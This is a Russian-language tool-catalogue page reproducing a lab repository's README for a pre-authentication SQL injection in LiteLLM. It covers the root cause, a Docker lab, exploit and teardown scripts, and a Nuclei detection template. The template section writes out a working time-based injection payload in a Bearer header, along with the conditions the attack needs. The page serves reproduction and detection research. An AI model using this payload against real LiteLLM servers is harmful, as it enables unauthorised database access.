Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
poc_cve-2026-42208 | Kitploit
Инструменты/GitHubGitHub/haerin-l/poc_cve-2026-42208
Анализ уязвимостейЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubhaerin-l/poc_cve-2026-42208

poc_cve-2026-42208

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42208 — SQL-инъекция LiteLLM до аутентификации

Лабораторная среда для воспроизведения и обнаружения CVE-2026-42208 — критической SQL-инъекции до аутентификации в LiteLLM, при которой неочищенные Bearer-токены попадают в необработанный запрос PostgreSQL.


Обзор уязвимости

ПолеДетали
CVE IDCVE-2026-42208
GHSAGHSA-r75f-5x8p-qvmc
CVSS9.3 (критическая) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Затронутые версии>= 1.81.16, < 1.83.7
Исправленоv1.83.7 (параметризованный запрос)
CWECWE-89 (SQL-инъекция)

Первопричина

root@kitploit:~
Vulnerable (v1.83.6):
  POST /v1/chat/completions
  Authorization: Bearer <payload>   ← payload does NOT start with "sk-"
    → api_key.startswith("sk-") assertion fails  (utils.py:1189)
    → caught by except Exception                  (utils.py:1560)
    → _handle_authentication_error(api_key=RAW_PAYLOAD)
    → _enrich_failure_metadata_with_key_info()
    → get_data(token=RAW_PAYLOAD, table_name="combined_view")
    → SQL: WHERE v.token = '{payload}'  ← injection

Patched (v1.83.7):
  Same request path, but:
    → get_data(token=hashed_token, ...)
    → SQL: WHERE v.token = $1          ← parameterized, no injection

Предварительные условия атаки


Архитектура лаборатории

root@kitploit:~
Host Machine
├── localhost:8010 ──→ Docker: litellm-vuln    (v1.83.6-nightly  ⚠ VULNERABLE)
│                      Docker: litellm-db-vuln  (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable   ✓ PATCHED)
                       Docker: litellm-db-patched (PostgreSQL 15)

Предварительные требования

ИнструментУстановка
Docker Desktopdocker.com
nucleibrew install nuclei
curl, python3предустановлены в macOS

Как запустить

Шаг 1 — Настройка лабораторной среды

root@kitploit:~
bash scripts/01-setup.sh

По завершении:

root@kitploit:~
══════════════════════════════════════════════════════
 Lab ready!
 Vulnerable (v1.83.6-nightly) : http://localhost:8010
 Patched    (v1.83.7-stable)  : http://localhost:8011
 Master Key : sk-lab-master-key
 Next: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════

Шаг 2 — Запуск эксплуатации CVE

root@kitploit:~
bash scripts/02-exploit.sh

Ожидаемый вывод — уязвимая версия (v1.83.6-nightly):

root@kitploit:~
── Vulnerable (v1.83.6-nightly, port 8010) ──
  Baseline    : 0.031s
  Injection   : 6.062s  (HTTP 401)
  Delta       : +6.031s
  ⚠  RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)

Ожидаемый вывод — исправленная версия (v1.83.7-stable):

root@kitploit:~
── Patched    (v1.83.7-stable,  port 8011) ──
  Baseline    : 0.028s
  Injection   : 0.029s  (HTTP 401)
  Delta       : +0.001s
  ✓  RESULT: No significant delay — injection not executed (PATCHED)

Шаг 3 — Обнаружение с помощью Nuclei

root@kitploit:~
# Vulnerable instance → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010

# Patched instance → should produce no findings
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011

Уязвимая версия (v1.83.6-nightly):

Обнаружение с помощью Nuclei — уязвимая версия

Исправленная версия (v1.83.7-stable):

Обнаружение с помощью Nuclei — исправленная версия

Шаг 4 — Остановка и очистка

root@kitploit:~
bash scripts/99-teardown.sh

Структура каталогов

root@kitploit:~
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md       # Code-level analysis (English)
├── LAB_SETUP_GUIDE.md              # Lab setup guide (English)
├── NUCLEI_TEMPLATE_GUIDE.md        # Nuclei template design (English)
├── docker-compose.yaml
│
├── REPORT/                         # Korean reports
│   ├── Vulnerability_Analysis_KR.md
│   ├── LAB_REPORT_KR.md
│   └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│   └── CVE-2026-42208.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup.sh                 # Start containers, create seed key
    ├── 02-exploit.sh               # PoC: timing-based injection proof
    └── 99-teardown.sh              # Stop and remove all lab resources

Логика обнаружения в шаблоне Nuclei

root@kitploit:~
Step 1  GET /health/liveliness
        → match "I am alive" in body
        → confirms target is a LiteLLM instance

Step 2  POST /v1/chat/completions
        Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --

        Matchers (AND — all must pass):
          status == 401           eliminates 504/502 false positives
          body contains           "auth_error" OR "Authentication Error"
                                  confirms LiteLLM auth path, not a proxy
          duration >= 5           pg_sleep(6) fired → injection confirmed

Предотвращение ложных срабатываний:

  • status == 401 исключает ответы из-за таймаутов вышестоящих сервисов (504) и ошибок шлюза (502)
  • Совпадение ключевых слов в теле ответа подтверждает, что код 401 исходит от обработки аутентификации LiteLLM, а не от WAF или прокси
  • duration >= 5 — достаточно большое значение, чтобы исключить сетевые колебания (базовый уровень ≤0.5s)

Ссылки

  • GHSA-r75f-5x8p-qvmc
  • NVD — CVE-2026-42208
  • Анализ Sysdig

Предупреждение: Все учётные данные в этой лаборатории — фиктивные тестовые данные, предназначенные исключительно для исследований в области безопасности. Никогда не используйте их в производственной среде. Всегда получайте явное разрешение перед сканированием систем, которые вам не принадлежат.

Скачать инструмент
#УсловиеДетали
1Затронутая версия LiteLLM>= 1.81.16, < 1.83.7
2Серверная часть PostgreSQLРазвёртывания на SQLite не затронуты
3Аутентификация не требуетсяДо аутентификации; учётные данные не нужны
4≥1 строка в VerificationTokenpg_sleep срабатывает только по строкам; пустая таблица = нет задержки